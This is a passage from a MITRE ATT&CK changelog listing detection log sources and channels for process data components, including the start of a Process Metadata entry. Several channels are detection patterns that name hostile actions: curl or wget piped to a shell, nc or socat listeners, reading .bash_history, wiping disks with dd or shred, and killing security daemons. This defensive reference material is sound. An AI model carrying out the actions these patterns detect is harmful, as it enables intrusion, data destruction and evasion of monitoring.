'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system*, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat|less|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:27.797000+00:002025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities 